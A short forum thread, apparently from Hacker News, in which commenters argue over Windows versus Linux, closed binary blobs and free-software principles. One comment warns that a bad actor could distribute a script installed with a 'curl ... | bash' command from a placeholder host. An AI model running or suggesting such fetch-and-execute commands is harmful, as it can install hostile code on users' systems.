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One more reason to add to the innumerable list of why not to use windows.
by arca_vorago 9y ago
One more reason to add to the innumerable list of why not to use windows.
- djsumdog 9y agoA bad actor could just as easily post a script as "Show HN" with some cool stuff in it that you install via: curl https://example.com/some_script.sh | bash A lot of people don't check those. Use the non-OSS nvidia or ATI drivers? You have binary blobs (don't for ATI btw, the OSS ones are 10x better). Use bluetooh/Wi-Fi on Linux, congratulations you are using closed binary blobs. I still love Linux, but I don't hate windows. We're not in the 90s. Bill Gates isn't master of the Borg.
- arca_vorago 9y agoI think you underestimate the insidiousness of such systems, and your response is completely logically fallacious, and doesn't support your conclusion whatsoever. So if I installed a random script via curl (I prefer wget) and because there are still some proprietary hardware that needs closed source binary blobs... That suddenly means GNU/Linux and windows are on the same footing? No, not at all, and I'm tired of hearing that trite and clichéd response. The four freedoms matter. No, its not the 90s. Now its worse!